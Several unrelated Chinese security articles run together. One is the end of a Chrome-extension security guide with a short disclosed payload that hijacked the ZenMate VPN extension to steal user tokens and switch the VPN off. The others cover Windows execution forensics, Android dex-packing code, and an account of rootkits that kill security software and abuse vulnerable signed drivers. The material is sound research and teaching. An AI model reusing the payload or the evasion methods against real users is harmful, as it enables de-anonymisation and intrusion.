从开发的角度来看，这些似乎都很合理。然而，开发人员会将安全屏障从强力锁定的后台页面高效地移到其域的任何子域。这意味着如果攻击者在可信域的任何子域上执行任意JavaScript，则攻击者可以完全劫持这些特权调用。这可能有多种方式：
* 任何子域上的网页都容易受到跨站点脚本（XSS）漏洞的攻击。
* 攻击者能够将HTML文件上传到包含恶意代码的任何子域。
* 任何子域都容易受到接管漏洞的影响，因为它[指向旧的IP地址，未分配的云资源，过期域名的CNAME](https://thehackerblog.com/the-orphaned-internet-taking-over-120k-domains-via-a-dns-vulnerability-in-aws-google-cloud-rackspace-and-digital-ocean/index.html)等。
在任何这些子域中哪怕是只弄错一次也会导致Chrome扩展程序变得非常危险。把这个和所有保护措施（例如CSP）和Chrome扩展背景页面的阻止网页导航相比较，自然就相形见绌了。
我在[ZenMate VPN Chrome扩展程序](https://chrome.google.com/webstore/detail/zenmate-vpn-best-cyber-se/fdcgdnkidjaadafnichfpabhfomcebme?hl=en)中发现的一个重要的漏洞中可以看到这个问题，这是一个很好的例子（在撰写本文时，它大约有350万用户）。下面是他们（以前）易受攻击的manifest.json的摘录：
...trimmed for brevity...
{
"js": [
"scripts/page_api.js"
],
"matches": [
"*://*.zenmate.com/*",
"*://*.zenmate.ae/*",
"*://*.zenmate.ma/*",
"*://*.zenmate.dk/*",
"*://*.zenmate.at/*",
"*://*.zenmate.ch/*",
"*://*.zenmate.de/*",
"*://*.zenmate.li/*",
"*://*.zenmate.ca/*",
"*://*.zenmate.co.uk/*",
"*://*.zenmate.ie/*",
"*://*.zenmate.co.nz/*",
"*://*.zenmate.com.ar/*",
"*://*.zenmate.cl/*",
"*://*.zenmate.co/*",
"*://*.zenmate.es/*",
"*://*.zenmate.mx/*",
"*://*.zenmate.com.pa/*",
"*://*.zenmate.com.pe/*",
"*://*.zenmate.com.ve/*",
"*://*.zenmate.fi/*",
"*://*.zenmate.fr/*",
"*://*.zenmate.co.il/*",
"*://*.zenmate.in/*",
"*://*.zenmate.hu/*",
"*://*.zenmate.co.id/*",
"*://*.zenmate.is/*",
"*://*.zenmate.it/*",
"*://*.zenmate.jp/*",
"*://*.zenmate.kr/*",
"*://*.zenmate.lu/*",
"*://*.zenmate.lt/*",
"*://*.zenmate.lv/*",
"*://*.zenmate.my/*",
"*://*.zenmate.be/*",
"*://*.zenmate.nl/*",
"*://*.zenmate.pl/*",
"*://*.zenmate.com.br/*",
"*://*.zenmate.pt/*",
"*://*.zenmate.ro/*",
"*://*.zenmate.com.ru/*",
"*://*.zenmate.se/*",
"*://*.zenmate.sg/*",
"*://*.zenmate.com.ph/*",
"*://*.zenmate.com.tr/*",
"*://*.zenmate.pk/*",
"*://*.zenmate.vn/*",
"*://*.zenmate.hk/*"
],
"run_at": "document_start"
}
...trimmed for brevity...
内容脚本`page_api.js`允许对扩展程序的特权API进行调用，以便执行诸如检索用户信息、白名单站点，从而使它们不被代理、以及切换用户是否需要连接到VPN之类的操作。在以上给定几十个域的列表中，有很多外围区域可能会被利用。为了劫持这个扩展程序，我们需要在任意的子域上，在这几十个域中的任何一个域上使用XSS。
然而，事实证明，我们甚至不需要这样做。其中一个域名ZeMat.Li已经过期并对外开放注册。在购买它并为其建立网站之后，提取用户信息所需的全部工作就是在这个白名单域上运行以下Payload：
// Make call to Content Script to get all user data
__zm.getData(function(results) {
console.log(
results
);
});
// Turn off VPN
__zm.toggle(false);
使用这个Payload，我们可以检索所有用户的信息（他们的身份验证令牌，电子邮件地址等），并且可以有效地对它们进行去匿名化，从而绕过扩展程序的所有保护机制。虽然供应商以迅雷不及掩耳之势做出了响应并且解决了这个问题，但这可以准确地说明当您将扩展程序控制向外移动到多个网站并扩展外围区域时可能发生的严重问题。[如需详细了解详情，请参阅此文章](https://thehackerblog.com/zenmate-vpn-browser-extension-deanonymization-hijacking-vulnerability-3-5-million-affected-users/index-2.html)。
#### 正确的URL解析
一些情况下，开发人员可能会发现自己正在解析给定的URL，需要查看它是否来自可信任的来源。这可以通过使用诸如[chrome.tabs.get()](https://developer.chrome.com/extensions/tabs#method-get)之类的API来实现，该API在查询的选项卡上返回充满元数据的[Tab对象](https://developer.chrome.com/extensions/tabs#type-Tab)。开发人员通常会尝试通过正则表达式解析这个对象的url属性，以查看它是否是他们信任的站点。正如我们之前看到的，解析URL是一份棘手的工作，很难做到正确无误。这个问题的核心在于，您编写的用于提取URL源代码的代码可能与Chrome内部执行的代码不同，从而致使代码被绕过。
从给定的URL中巧妙地拉出来源的一种简洁方法是使用[URL()](https://developer.mozilla.org/en-US/docs/Web/API/URL/URL)构造函数：
// Input URL
var input_url = "https://trusted-domain.com/example-url/?red=blue#yellow";
// Safely check to see if a URL matches a target origin
function check_origin_match( input_url, target_origin ) {
var parsed_url = new URL(
input_url
);
return ( parsed_url.origin === target_origin );
}
if( check_origin_match( input_url, "https://trusted-domain.com" ) ) {
// URL is from a trusted origin!
} else {
// Not from a trusted origin.
}
上面的代码很特殊，因为它将工作转移到了Chrome的URL解析器以从给定的URL中检索来源。这可确保您的代码和Chrome代码就给定网址的实际来源达成一致。您可以自己将URL传递给URL构造函数，并使用上面提供的一些代码来检查origin属性，而不是使用上面的`check_origin_match()`函数。由于URL尚未被解析出来，故而您应该安全地检查它的来源，最终的URL对象还包含了用于散列的有用的解析字段，主机名，URL路径，参数以及其他信息。
#### **点击劫持以及web_accessible_resources的使用注意事项**
[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令是指哪些资源，如扩展页面，图像和JavaScript可以通过任意网站被嵌入。前面已经提到，默认情况下，任意网页都不能在iframes中嵌入扩展页面，也不能通过脚本或样式表标签来发送它们。这条指令的示例用法如下所示：
{
...trimmed for brevity...
"web_accessible_resources": [
"images/*.png",
"style/double-rainbow.css",
"script/double-rainbow.js",
"script/main.js",
"templates/*"
],
...trimmed for brevity...
}
从上面的示例中不难看出，您不仅可以指定特定的资源，还可以使用通配符资源文件夹。但是，有时开发人员会遇到Chrome阻止他嵌入扩展资源的问题，并且会执行以下操作：
{
...trimmed for brevity...
"web_accessible_resources": [
"*",
],
...trimmed for brevity...
}
这是一项相当有效的策略，这意味着本质上所有的Chrome扩展资源现在都可以嵌入到第三方网站。问题是当您的扩展程序包含有执行特权操作的页面并且也属于web_accessible_resources策略的页面时，这会变成一个[点击劫持](https://www.owasp.org/index.php/Clickjacking)(clickjacking)漏洞。由点击劫持引起的扩展程序漏洞的一个很好的例子可以参阅[有关Steam
Inventory Helper中的UXSS](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/index-2.html)的这篇文章。
#### **使用tarnish自动化审核流程**
由于Chrome扩展程序的独特结构，我决定写一个服务工具来帮助开发人员和安全研究人员审核Chrome扩展程序中的安全漏洞。我把这个工具叫做tarnish，它具有以下功能：
* 从所提供的Chrome应用商店链接中提取任意一个Chrome扩展程序。
* [manifest.json](https://developer.chrome.com/extensions/manifest)查看器：只显示扩展程序清单的JSON-prettified版本。
* 指纹分析：检测[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)并自动生成识别Chrome扩展指纹的JavaScript。
* 潜在的点击劫持分析：使用 [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令集检测扩展程序的HTML页面。这些可能会受到点击劫持的影响，具体得看页面的用途。
* 权限警告查看器：显示所有Chrome权限的警告提示列表，它们在用户尝试安装扩展程序时显示。
* 危险功能：显示可能被攻击者利用的危险功能的位置（例如 innerHTML，chrome.tabs.executeScript等功能）。
* 入口点：显示扩展程序在用户/外部输入的位置。这对于了解扩展程序的外围区域以及查找将恶意制作的数据发送到扩展程序的可能点是非常有帮助的。
* 危险功能和入口点扫描仪的生成警报都有以下内容：
* 引起警报的相关代码段和行。
* 问题说明。
* “查看文件”按钮，用于查看包含代码的完整源文件。
* 警报文件的路径。
* 警报文件的完整Chrome扩展程序URI。
* 警报文件的类型，比如背景页面脚本，内容脚本，浏览器控件等。
* 如果易受攻击的代码行位于JavaScript文件中，就会包含警报文件的所有页面路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
* 内容安全策略(CSP)分析器和bypass检查器：这会指出您的扩展程序的CSP中的薄弱点所在，并且还将给出白名单中的CDN绕开CSP的任何可能的方式等。
* 已知的漏洞库：它使用 [Retire.js](https://retirejs.github.io/retire.js/)来检查JavaScript库的已知漏洞的任何使用情况。
* 下载扩展程序和格式化版本。
* 下载原始扩展程序。
* 下载美化版的扩展程序（自动美化HTML和JavaScript）。
* 自动缓存扫描结果，第一次运行扩展程序扫描时会耗费大量时间。假设扩展程序未更新，那么第二次由于结果已经被缓存，运行几乎是即时完成的。
* 可链接的报告网址，可以轻松地将其他人链接到由tarnish产生的扩展程序报告中。
所有这些功能都是为了将我在审核各种Chrome扩展程序时必须采取的烦人的机械式重复性操作自动化而创建的。如果您对该工具的任何功能有建议或者存在bug，请随时与我联系，我会尽快排查。
# [点击此处试用Chrome扩展程序分析仪tarnish](https://thehackerblog.com/tarnish/index.html)
[突破限制—一份安全编写和审计Chrome扩展程序的指南(上)](https://xz.aliyun.com/t/2706#toc-2) | 社区文章 |
本文主要简述当Windows系统中存在恶意可执行程序时，如何发现恶意程序的执行痕迹（文件路径、时间等），以及相关的辅助分析工具。
从注册表、文件、日志三个方面介绍，以及简单介绍下Win10中的几个特有功能。
### 一、注册表
#### 1)ShimCache
ShimCache 又称为AppCompatCache，从 Windows
XP开始存在，用来识别应用程序兼容性问题。跟踪文件路径，大小和上次修改时间（LastModifiedTime）和上次更新时间（LastUpdateTime）。
其中在Windows7/8/10系统中最多包含1024条记录，Windows7/8/10系统中不存在“上次更新时间”。
注册表中位置：
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache
##### 辅助工具AppCompatCacheParser
<https://github.com/EricZimmerman/AppCompatCacheParser/>
usage：
AppCompatCacheParser.exe --csv d:\temp -t
##### 辅助工具ShimCacheParser
<https://github.com/mandiant/ShimCacheParser>
usage：
reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" shimcache.reg
ShimCacheParser.py -o out.csv -r D:\Tool\TEST\shimcache.reg -t
#### 2)UserAssist
userassist键值包含GUI应用执行的信息，如名称、路径、关联快捷方式、执行次数、上一次执行时间等。
注册表中位置：
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count
##### 辅助工具UserAssist_V2_6_0
<https://blog.didierstevens.com/programs/userassist/>
#### 3)MUICache
MUICache记录执行程序的名称和路径，但是没有记录相关执行时间。
注册表中位置：
HKCU/Software/Microsoft/Windows/ShellNoRoam/MUICache (XP, 2000, 2003)
HKCU/Software/Classes/Local Settings/Software/Microsoft/Windows/Shell/MuiCache (Vista, 7, 2008)
##### 辅助工具muicache_view
<http://www.nirsoft.net/utils/muicache_view.html>
### 二、文件
#### 1)Prefetch
Prefetch（预读取），从Windows
XP开始引入，用来加速应用程序启动过程。Prefetch包含可执行文件的名称、文件时间戳、运行次数、上次执行时间、Hash等。
Win7上记录最近128个可执行文件的信息，Win8-10上的最近1024个可执行文件。
文件路径:
C:\Windows\Prefetch
注册表HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory
Management\PrefetchParameters 中EnablePrefetcher的键值控制是否开启Prefetch。
EnablePrefetcher的数值设置：
0 =已禁用
1 =启用应用程序预读取
2 =启用引导预读取
3 =启用应用程序和引导预读取（最佳和默认）
虽然Windows 2003中也存在Prefetch，但默认为2,仅用于引导预读取。
##### 辅助工具PECmd
<https://github.com/EricZimmerman/PECmd>
usage：
PECmd.exe -d "C:\Windows\Prefetch" --csv "d:\temp" --json d:\temp\json
#### 2)Amcache
Amcache.hve记录执应用程序的执行路径、上次执行时间、以及SHA1值。
文件路径:
C:\Windows\AppCompat\Programs\Amcache.hve
#### 辅助工具AmcacheParse
<https://github.com/EricZimmerman/AmcacheParser>
usage：
AmcacheParser.exe -f C:\Windows\AppCompat\Programs\Amcache.hve --csv d:\temp
#### 3)Jump Lists
Windows 7-10用来任务栏显示经常使用或最近使用的项目。
文件路径：
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations
#### 辅助工具JumpListExplorer
<https://ericzimmerman.github.io/Software/JumpListExplorer.zip>
### 三、日志
#### 1) 安全事件日志Security Log (592/4688)
Windows 7、Windows Server 2008 R2 /2012
及之后，会在每次创建一个进程时创建一个事件日志，并传递到该进程的命令行信息。事件将记录到现有事件 ID 4688 并保存到 Windows
安全日志。但仅在启用了“审核进程创建”时记录4688。
592 创建一个新进程（Windows Server 2003）
4688 创建一个新进程（Windows 7、Windows Server 2008 R2/ 2012及之后）
#### 2) 系统事件日志System Log (7035/7036)
Windows XP/7/ Windows Server 2003,当服务启动或停止时，服务控制管理器会记录到系统事件日志中的ID
7035。因此，如果关联的进程被注册为服务，则可发现执行痕迹。
7035 Service Control Manager xxx服务成功发送一个开始控件。
7036 Service Control Manager xxx服务处于 正在运行/停止 状态
#### 3) 计划任务日志TaskScheduler
计划任务日志中也可能发现可执行文件执行的痕迹。
### 四、Win10特有功能
#### 1) RecentApps（win10）
Windows 10
注册表中位置：
HKCU\Software\Microsoft\Windows\Current Version\Search\RecentApps
#### 2) BAM/Background Activity Monitor (win10)
从Windows 10 1709 (Fall Creators update)版本开始引用。
注册表中位置：
HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}
#### 3) ActivitiesCache.db（win10）
从Windows 10 1803 (April 2018)版本开始引用。
文件路径：
C:\Users\<profile>\AppData\Local\ConnectedDevicesPlatform\L.<profile>\ActivitiesCache.db
#### 参考
<https://blog.1234n6.com/2018/10/available-artifacts-evidence-of.html?m=1>
<https://www.andreafortuna.org/dfir/forensic-artifacts-evidences-of-program-execution-on-windows-systems/>
<https://www.fireeye.com/blog/threat-research/2013/08/execute.html>
<https://www.andreafortuna.org/cybersecurity/amcache-and-shimcache-in-forensic-analysis/> | 社区文章 |
[TOC]
# 预知识
## Apk应用启动过程
1.(Launcher应用程序中执行)点击图标，Launcher应用程序通知ActivityManagerService开启activity
2.(ActivityManagerService组件中执行)ActivityManagerService通过IBinder向Launcher组件发送SCHEDULE_PAUSE_ACTIVITY_TRANSACTION
3.(Launcher应用程序中执行)Launcher的ActivityThread来处理发送来的消息，暂停Launcher组件，接着发送ACTIVITY_PAUSED_TRANSACTION消息给ActivityManagerService组件
4.(ActivityManagerService组件中执行)ActivityManagerService处理Launcher发送来的消息，接着创建应用程序进程，主要通过zygoto来创建新的应用进程和新的ActivityThread
5.(应用进程内部执行)应用进程向ActivityManagerService发送进程通信请求ATTACH_APPLICATION_TRANSACTION（表示应用启动完成）
6.(ActivityManagerService组件中执行)处理应用进程发送来的请求，既然应用进程已经创建，现在开始应用进程对象ProcessRecord的初始化操作，并且向应用进程发送进程通信请求
。
7.(ActivityThread中执行)这里的初始化操作中比较重要的一项就是bindApplication，发送BIND_APPLICATION消息给H类，调用handleBindApplication方法进行Application类的创建和初始化
8.后面就是MainActivity组件的启动过程，在正式启动Activity前也会执行makeApplication方法来查看application是否创建
### 总时序图
应用程序启动过程中，先实例化application来初始化全局变量，接着通过全局变量来启动Activity组件
## 起源：ClassLoader
类加载器，起源于JAVA，实现java类可以被动态加载进虚拟机
* 引导类加载器（bootstrap class loader）：它用来加载 Java 的核心库，是用原生代码来实现的，并不继承自 `java.lang.ClassLoader`。
* 扩展类加载器（extensions class loader）：它用来加载 Java 的扩展库。Java 虚拟机的实现会提供一个扩展库目录。该类加载器在此目录里面查找并加载 Java 类。
* 系统类加载器（system class loader）：它根据 Java 应用的类路径（CLASSPATH）来加载 Java 类。一般来说，Java 应用的类都是由它来完成加载的。可以通过 `ClassLoader.getSystemClassLoader()`来获取它。
### 类加载器代理模式
如上面加载器树状组织结构所示，子类加载器加载类时(查找类字节码并定义它)，会代理给父类加载器(不是父类对象)，父类加载器尝试加载该类，如果父类加载器不能加载，再由子类加载器加载
### 加载类的过程
因为代理模式的存在，启动这个类的加载过程的类加载器(子类加载器)和真正完成类加载工作的类加载器(父类加载器)不是同一个类加载器。
* defineClass：真正完成类的加载工作，一个类的定义加载器
* loadClass：启动类的加载过程，初始加载器
### 线程上下文类加载器
默认使用系统类加载器。
解决引导类加载器无法加载找到系统类加载器需要加载的类
### 小结
【1】Java虚拟机对于两个类判断是否相同，出了名称是否一样还要判断类的定义加载器是否一样
【2】不同类加载器加载的类是不兼容的，也就是Java虚拟机中存在一个个相互隔离的类空间。
## 现在：DexClassLoader源码
1.设置父类加载器
2.优化并加载dex文件到内存中（本地方法）
## 替换类加载器
默认类加载器是PathClassLoader
## 什么时候执行到application组件内？
在开始启动Activity组件前的一步，有ActivityThread内执行bindApplication方法中创建Application组件，performLaunchActivity启动Activity类中也会调用makeApplication检查是否创建applicaiton
# 脱壳思路
## what
动态加载Dex文件，防止反编译
## how
### 流程
1. 创建壳Application
2. 使用DexClassLoader加载原始Dex
3. 开启原始Application
1. 调用ActivityThread中LoadedApk对象的makeApplication方法来创建原始Dex文件的Application对象
2. 替换ActivityThread中mBoundApplication的mApplication属性为原始Dex文件的Application对象
3. 替换ActivityThread中的mInitialApplication属性为原始Dex文件的Application对象
4. 替换ActivityThread中LoadedApk的className为原始Dex文件的Application的name
5. 替换ActivityThread中mBoundApplication里appInfo的className为原始Dex文件的Application的name
6. 替换ActivityThread中mProviderMap中每个provider的mContext为原始Dex文件的Application对象
7. 调用原始Dex文件的Application对象的onCreate方法开始原始Dex文件的组件启动
### 实例
源码地址：<https://github.com/xiongchaochao/ApkProtect/tree/master/v1.0>
根据预知识Activity启动流程：application类实例化在开启MainActivity之前，所以我们将动态加载工作放在application中，也就是我们自定义一个壳application并生成壳Dex文件让系统启动，在这个壳application中去开启原始Dex文件的application
public class shell extends Application {
.....
}
根据预知识DexClassLoader原理：类加载器可以加载dex文件到内存中，但是不能启动里面的Application、Activity等组件启动原始dex文件的执行流程。这是我们下一步的方向，开启类加载器加载的Dex文件的组件
/* 2. 加载Dex文件。
* 通过替换ActivityThread对象内loadedapk的mClassLoader值，完成了类加载器的替换和Dex文件的加载*/
String classActivityThread = "android.app.ActivityThread";
String classLoadedApk = "android.app.LoadedApk";
DexClassLoader loader;
File nativeLib = new File(FileUtils.getParent(LIBS), "lib");
Object activityThread = RefInvoke.invokeStaticMethod(classActivityThread, "currentActivityThread", new Class[]{}, new Object[]{});
String packageName = this.getPackageName();//当前apk的包名
//获取currentActivityThread的mPackages字段值，是一个包名对应loadedapk对象的map值
Map<?,?> mPackage = (Map<?,?>)RefInvoke.getField(activityThread, classActivityThread, "mPackages");
//获取loadedapk对象的弱引用
WeakReference<?> wr = (WeakReference<?>) mPackage.get(packageName);
//获取DexClassLoader类加载器，准备加载原始dex文件，并且设置父类加载器为当前主线程上下文中loadedApk中保存的mClassLoader对象
loader = new DexClassLoader(dexPathList.toString(), mApp.getCacheDir().getAbsolutePath(), nativeLib.getAbsolutePath(), (ClassLoader) RefInvoke.getField(wr.get(), "android.app.LoadedApk", "mClassLoader"));
//更改当前loadedapk对象的类加载器为DexClassLoader类加载器
RefInvoke.setField(wr.get(), classLoadedApk, "mClassLoader", loader);
用原始Dex文件的application类重新实例化一个对象，并且替换掉ActivityThread和LoadedApk对象内部的applicaiton对象，这样后面开始之后Activity的时候就会调用新的application类的内部属性。
/* 2. 执行application*/
//原始Dex文件的application地址
String main = "com.scoreloop.games.gearedub.GearApplication";
String applicationName = main;
//ActivityThread.currentActivityThread().mBoundApplication.info.mApplication = null;
Object currentActivityThread = RefInvoke.invokeStaticMethod(classActivityThread, "currentActivityThread", new Class[]{}, new Object[]{});
Object mBoundApplication = RefInvoke.getField(currentActivityThread, classActivityThread, "mBoundApplication");
//info字段代表的是loadedapk对象
Object loadedApkInfo = RefInvoke.getField(mBoundApplication, classActivityThread+"$AppBindData", "info");
//将loadedapk的mApplication属性置空，在后面makeApplication方法中用原始Dex文件的Application对象赋值
RefInvoke.setField(loadedApkInfo, classLoadedApk, "mApplication", null);
//移除ActivityThread对象内的mInitialApplication，后面重新赋值原始Dex文件的Application对象赋值
Object mInitApplication = RefInvoke.getField(currentActivityThread, classActivityThread, "mInitialApplication");
List<Application> mAllApplications = (List<Application>) RefInvoke.getField(currentActivityThread, classActivityThread, "mAllApplications");
mAllApplications.remove(mInitApplication);
//将原始Dex文件的application路径名分别赋值给loadedapk和ActivityThread$AppBindData的className
//(LoadedApk) loadedApkInfo.mApplicationInfo.className = applicationName
((ApplicationInfo) RefInvoke.getField(loadedApkInfo, classLoadedApk, "mApplicationInfo")).className = applicationName;
//(ActivityThread$AppBindData) mBoundApplication.appInfo.className = applicationName
((ApplicationInfo) RefInvoke.getField(mBoundApplication, classActivityThread+"$AppBindData", "appInfo")).className = applicationName;
//给ActivityThread的mInitialApplication赋值makeApplication对象
//currentActivityThread.mInitApplication = loadedApkInfo.makeApplication(false, null)
Application makeApplication = (Application) RefInvoke.invokeMethod(loadedApkInfo, classLoadedApk, "makeApplication", new Class[]{boolean.class, Instrumentation.class}, new Object[]{false, null});
RefInvoke.setField(currentActivityThread, classActivityThread, "mInitialApplication", makeApplication);
//currentActivityThread.mProviderMap
Map<?,?> mProviderMap = (Map<?,?>) RefInvoke.getField(currentActivityThread, classActivityThread, "mProviderMap");
for (Map.Entry<?, ?> entry : mProviderMap.entrySet()) {
Object providerClientRecord = entry.getValue();
Object mLocalProvider = RefInvoke.getField(providerClientRecord, classActivityThread+"$ProviderClientRecord", "mLocalProvider");
RefInvoke.setField(mLocalProvider, "android.content.ContentProvider", "mContext", makeApplication);
}
makeApplication.onCreate();
# 小结
【1】DexClassLoader 加载器加载dex文件字节码到虚拟机中，但是不能没有生命周期，只是不同类
【2】在ActivityThread内部是通过LoadedApk类来存储APK安装包所有数据
# 参考
【1】深入探讨 Java 类加载器 <https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html>
【2】从源码分析 Android dexClassLoader 加载机制原理
<https://blog.csdn.net/nanzhiwen666/article/details/50515895> | 社区文章 |
**作者：深信服千里目安全实验室**
**相关阅读：
1、[【Rootkit 系列研究】序章：悬顶的达摩克利斯之剑](https://paper.seebug.org/1867/ "【Rootkit
系列研究】序章：悬顶的达摩克利斯之剑")
2、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁](https://paper.seebug.org/1868/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁")
3、[【Rootkit 系列研究】Linux平台的高隐匿、高持久化威胁](https://paper.seebug.org/1870/
"【Rootkit系列研究】Linux平台的高隐匿、高持久化威胁")
4、[【Rootkit 系列研究】Rootkit检测技术发展现状](https://paper.seebug.org/1871/
"【Rootkit系列研究】Rootkit检测技术发展现状")
5、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）](https://paper.seebug.org/1872/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）")**
## 序言
从西方APT组织的攻击历史及已经泄露的网络攻击武器来看，高隐藏、高持久化（Low&Slow）是已经成为区分威胁等级的关键特征，而Rookit则是达成此目的重要的技术手段之一。
在之前的文章中，“序章：悬顶的达摩克利斯之剑”，带我们领略了Rootkit的前世今生，隐匿于Rootkit背后的影子以及针对Rootkit的基本检测思想。
“Windows平台高隐匿、高持久化威胁”和“Linux平台高隐匿、高持久化威胁”各自从宏观角度讲述Windows平台和linux平台下，Rootkit技术原理、应用和发展现状以及攻防角度的总结。
“Rootkit检测技术发展现状”让我们见识到了防御方对抗Rootkit的技术。
本文则是在“Windows平台高隐匿、高持久化威胁”的基础上，结合攻击者在攻击中利用到的技术手段，对Windows平台上的rootkit的运行效果及应用方面进行介绍。
## Rootkit威胁情报-战火从未停止
2015年4月，安全研究团队发表了关于Turla组织的Rootkit分析报告。
2016年8月，安全研究团队发布了索伦之眼（ProjectSauron）相关的技术细节。
2018年10月，安全研究人员披露有驱动护体的挖矿病毒ProtectionX。
2019年4月，安全研究团队发布关于跨平台间谍Rootkit Scranos的文章。
2021年10月，安全研究团队披露了DirtyMoe Rootkit 驱动程序。
2021年12月，安全研究团队披露了方程式组织（Equation Group）的攻击框架DanderSpritz。
2022年1月，安全研究团队披露了紫狐（Purple Fox）僵尸网络通过伪装Telegram安装程序释放Rootkit的攻击事件。
## 紫狐-黑产中Rootkit技术应用的代表
紫狐是已经持续多年的、以营利为目的的网络黑产组织，他们历来每次出现在视野中，都会变化一种攻击方式或技术。
攻击者控制大量受害终端，通过刷量、推广用户不需要的软件来获利，这会拖慢设备性能，严重影响受害者的正常使用。
其恶意程序使用了Rootkit技术，以至于具有很高的隐蔽性， **很难被受害者发掘和清除。**
在紫狐病毒释放器下载最终Purple Fox
Rootkit载荷之前，我们注意到释放程序会安装一个名为“Driver.sys”的驱动程序，用于注销名为“360FsFlt”的Minifilter，并关闭名为“ZhuDongFangYu.exe”的进程，来规避安全软件检测。
“ZhuDongFangYu.exe”的进程是从驱动启动的，用常规手段是无法关闭的。
驱动服务运行后，通过一个独立的命令行工具进行调用，通过I\O 通讯传递指令，具有四种命令，对应四种功能。
实际运行效果如下：
关闭指定文件过滤器
拷贝文件
删除文件
结束进程
在分析过程中我们发现，该驱动程序为了避免被检测，在文件拷贝和删除文件的过程中没有使用常规的API函数，而是通过IofCallDriver函数向文件设备发送带有操作的IRP数据，以此达到文件操作的目的。
而在关闭进程功能上，更是提供了两种结束进程的方法，来规避检测。而且我们发现，该驱动目前仍是半成品的状态，也就是说，攻击者仍在进行功能的迭代升级。
在完成安全软件进程关闭后，释放文件才会继续下载最后的Purple Fox
Rootkit，经分析，该Rookit是基于开源Rookit项目“Hidden”修改，
**具有隐藏注册表项和值、隐藏文件和目录、隐藏进程、保护指定进程等功能。**
文件隐藏运行效果：
注册表隐藏运行效果：
进程保护运行效果：
由此可见，学习开源项目也是攻击者提升攻击能力的有效方式，他们也在不断吸取新的技术，应用与攻击活动之中。
## APT组织的高对抗利器
Turla组织最早可以追溯到2004年，已经 **超过45个国家** 受到相关攻击， **涉及政府、大使馆、军事、教育、研究和制药公司等**
多个行业。其攻击使用的技战术一直都有着较高的技术水平， **对于国家和行业机密有着极大的威胁。**
本事件中使用的Rootkit主要功能是通过HOOK一系列系统调用函数，隐藏和保护其用户态组件。然后通过修改Ntoskrnl.exe和Ndis.sys的内存数据，在0xc3处创建一个新的IDT条目并重定向所有的被HOOK的函数到一个简单的中断句柄（ISR），每个被HOOK的函数都有一个唯一的标识符与ISR中的派遣函数相对应。
由于能够该方法能够 **禁用任何主机内的HOOK机制** ，因此传统的针对Rookit的监测能力都受到了限制。
Turla
rootkit还使用了两个虚拟文件系统，一个NTFS文件系统和一个FAT文件系统，也就是说，受害者主机上有一个承载了文件系统的加密文件，攻击者将其作为工作空间使用。
这里突出了Turla组织攻击活动所使用的工具非常 **具有高对抗** ，能够做到从系统层面避免安全软件的检测和查杀。
除了Rootkit部分，还有一点值得注意，Turla在攻击过程中会使用一个名为“VBoxDrv.sys”的驱动程序，该驱动程序存在CVE-2008-3431漏洞，攻击者能够利用该漏洞完成权限提升。
这里就要说到一个概念“VulnDriver”，也就是 **带有漏洞的驱动程序** ，比较常见的VulnDriver还有GDRV.sys
（CVE-2018-19320），Novell (CVE-2013-3956), CPU-Z (CVE-2017-15302), ASUS
(CVE-2018-18537)。
挖矿木马常用的矿机所使用的WinRing0.sys也是一个非常常见的VulnDriver，这个驱动是一个名为NZXT
CAM的计算机硬件性能监控产品内的一个便于程序访问Windows内核的组件。
这个看起来不大的驱动程序上存在着 **多达11个CVE漏洞**
，其中CVE-2020-13516可以越权直接从USB和PCI设备查询信息；CVE-2020-13515可以越权将数据写入I/O总线，可能会更改PCI配置信息或特定于供应商的数据寄存器，帮助其他程序完成提权；CVE-2020-13518可以越权直接访问rdmsr，任意读取MSR内数据；CVE-2020-13519可以越权直接访问writemsr，向MSR内写入数据。
因此，利用这个驱动程序做很多事情，其利用成本低，很受以营利为目的网络攻击者欢迎。
在前段时间Log4j 曝出存在RCE漏洞的时候，该漏洞被大量的黑产攻击者利用，这个驱动程序也连带着出现在了大众的视野之中。
这些VulnDriver **带着官方的签名** ，而且本身没有什么恶意行为，因此很多安全厂商都不会告警。
在不久前被曝光的方程式组织的后渗透框架DanderSpritz中，也存在VulnDriver的利用，在其名为DoubleFeature的插件中，存在名为hidsvc.sys的驱动程序，该驱动程序存在
CVE-2017-0005 漏洞，能够让攻击者 **通过用户层代码指定名称和参数来调用内核功能。**
说到这，我们来简单了解一些方程式这个组织吧。
**方程式组织被称为世界上最尖端的网络攻击组织之一** ，和恶名昭彰的震网（Stuxnet）和火焰（Flame）有着很深的联系。
震网是一个全球性质的工业病毒，是世界上首个网络“超级破坏性武器”，曾被用来攻击伊朗核设施，手法极其阴险。
同时，我国的工业设施也受到了一定的影响。
因此他们的存在，是国家机密和关键基础设施巨大的威胁。
在这次被曝光的项目中存在一个远程访问工具，其下有一个名为MSNDSRV.sys的驱动程序。
该驱动程序曾在2015年的EquationDrug
组件中被提到，可以隐藏用户侧组件，另外可以在注册表遍历所有网卡，调用NdisRegisterProtocol函数注册一个NDIS流量监听器，可以接收到受害主机所有流量，实现通讯流量监控。
在两个庞大的项目中，这个驱动程序显得微不足道，和之前提到的Rootkit程序相比，方程式组织的Rootkit技术没有核心组件的地位，只是整个项目下某一个插件下的一个组件，是一个
**“随取随用”** 的地位。
但就是这样一个看起来不值一提的组件，在两个程序中都出现了。
足以说明，Rookit是方程式组织在攻击组件开发的过程中非常常用的技术，而对于这类常用的组件，攻击者也不会花太多心思进行二次开发。
然而就算是这样，安全厂商仍旧鲜有捕获到方程式组织的活动痕迹，该组织的高隐匿技术之强，可想而知。
